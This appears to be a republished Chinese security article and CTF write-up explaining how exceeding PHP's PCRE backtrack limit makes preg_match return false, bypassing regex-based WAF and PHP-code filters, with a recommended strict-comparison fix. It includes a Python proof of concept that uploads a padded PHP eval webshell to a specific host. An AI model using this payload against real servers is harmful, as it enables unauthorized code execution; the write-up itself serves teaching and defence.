當前位置:
首頁 > 新聞 > PHP利用PCRE回溯次數限制繞過某些安全限制

PHP利用PCRE回溯次數限制繞過某些安全限制

這次 Code-Breaking Puzzles 中我出了一道看似很簡單的題目pcrewaf,將其代碼簡化如下:

<?php
function is_php($data){  
   return preg_match("/<?.*[(`;?>].*/is", $data);  
}

if(!is_php($input)) {
   // fwrite($f, $input); ...
}

大意是判斷一下用戶輸入的內容有沒有 PHP 代碼,如果沒有,則寫入文件。這種時候,如何繞過 is_php() 函數來寫入 webshell 呢?


這道題看似簡單,深究其原理,還是值得寫一篇文章的。


0x01 正則表達式是什麼

正則表達式是一個可以被「有限狀態自動機」接受的語言類。


「有限狀態自動機」,其擁有有限數量的狀態,每個狀態可以遷移到零個或多個狀態,輸入字串決定執行哪個狀態的遷移。


而常見的正則引擎,又被細分為 DFA(確定性有限狀態自動機)與 NFA(非確定性有限狀態自動機)。他們匹配輸入的過程分別是:



DFA: 從起始狀態開始,一個字元一個字元地讀取輸入串,並根據正則來一步步確定至下一個轉移狀態,直到匹配不上或走完整個輸入


NFA:從起始狀態開始,一個字元一個字元地讀取輸入串,並與正則表達式進行匹配,如果匹配不上,則進行回溯,嘗試其他狀態


由於 NFA 的執行過程存在回溯,所以其性能會劣於 DFA,但它支持更多功能。大多數程序語言都使用了 NFA 作為正則引擎,其中也包括 PHP 使用的 PCRE 庫。


0x02 回溯的過程是怎樣的


所以,我們題目中的正則 <?.[(`;?>].,假設匹配的輸入是 <?php phpinfo();//aaaaa,實際執行流程是這樣的:


見上圖,可見第 4 步的時候,因為第一個 .* 可以匹配任何字元,所以最終匹配到了輸入串的結尾,也就是 //aaaaa。但此時顯然是不對的,因為正則顯示.*後面還應該有一個字元 [(`;?>]。


所以 NFA 就開始回溯,先吐出一個 a,輸入變成第 5 步顯示的 //aaaa,但仍然匹配不上正則,繼續吐出 a,變成 //aaa,仍然匹配不上……


最終直到吐出;,輸入變成第 12 步顯示的 <?php phpinfo(),此時 ,.* 匹配的是 php phpinfo(),而後面的 ; 則匹配上  [(`;?>] ,這個結果滿足正則表達式的要求,於是不再回溯。13 步開始向後匹配;,14 步匹配.,第二個.匹配到了字元串末尾,最後結束匹配。


在調試正則表達式的時候,我們可以查看當前回溯的次數:



這裡回溯了 8 次。


0x03 PHP 的 pcre.backtrack_limit 限制利用


PHP 為了防止正則表達式的拒絕服務攻擊(reDOS),給 pcre 設定了一個回溯次數上限 pcre.backtracklimit。我們可以通過 vardump(iniget("pcre.backtracklimit"));的方式查看當前環境下的上限:



這裡有個有趣的事情,就是 PHP 文檔中,中英文版本的數值是不一樣的:


我們應該以英文版為參考。


可見,回溯次數上限默認是 100 萬。那麼,假設我們的回溯次數超過了 100 萬,會出現什麼現象呢?比如:



可見,preg_match 返回的非 1 和 0,而是 false。


pregmatch 函數返回 false 表示此次執行失敗了,我們可以調用 vardump(preglasterror() === PREGBACKTRACKLIMIT_ERROR);,發現失敗的原因的確是回溯次數超出了限制:



所以,這道題的答案就呼之欲出了。我們通過發送超長字元串的方式,使正則執行失敗,最後繞過目標對 PHP 語言的限制。


對應的 POC 如下:

import requests
from io import BytesIO

files = {
 "file": BytesIO(b"aaa<?php eval($_POST[txt]);//" + b"a" * 1000000)
}

res = requests.post("http://51.158.75.42:8088/index.php", files=files, allow_redirects=False)
print(res.headers)

0x04 PCRE 另一種錯誤的用法

延伸一下,很多基於 PHP 的 WAF,如:

<?php
if(preg_match("/SELECT.+FROM.+/is", $input)) {
   die("SQL Injection");
}

均存在上述問題,通過大量回溯可以進行繞過。


另外,我遇到更常見的一種 WAF 是:

<?php
if(preg_match("/UNION.+?SELECT/is", $input)) {
   die("SQL Injection");
}

這裡涉及到了正則表達式的「非貪婪模式」。在 NFA 中,如果我輸入 UNION/aaaaa/SELECT,這個正則表達式執行流程如下:



.+? 匹配到/


因為非貪婪模式,所以.+? 停止匹配,而由 S 匹配*


S 匹配失敗,回溯,再由.+? 匹配


因為非貪婪模式,所以.+? 停止匹配,而由 S 匹配 a


S 匹配 a 失敗,回溯,再由.+? 匹配 a


...

回溯次數隨著 a 的數量增加而增加。所以,我們仍然可以通過發送大量 a,來使回溯次數超出 pcre.backtrack_limit 限制,進而繞過 WAF:



0x05 修復方法


那麼,如何修復這個問題呢?


其實如果我們仔細觀察 PHP 文檔,是可以看到 preg_match 函數下面的警告的:



如果用 preg_match 對字元串進行匹配,一定要使用===全等號來判斷返回值,如:

<?php
function is_php($data){  
   return preg_match("/<?.*[(`;?>].*/is", $data);  
}

if(is_php($input) === 0) {
   // fwrite($f, $input); ...
}

這樣,即使正則執行失敗返回 false,也不會進入 if 語句。


*

本文原創作者:phith0n,本文屬FreeBuf原創獎勵計劃,未經許可禁止轉載


喜歡這篇文章嗎?立刻分享出去讓更多人知道吧!

本站內容充實豐富,博大精深,小編精選每日熱門資訊,隨時更新,點擊「搶先收到最新資訊」瀏覽吧!


請您繼續閱讀更多來自 FreeBuf 的精彩文章:

美國郵政服務網站漏洞可暴露6000萬用戶數據,現已修復
如何使用Metasploit進行汽車安全性測試?

TAG:FreeBuf |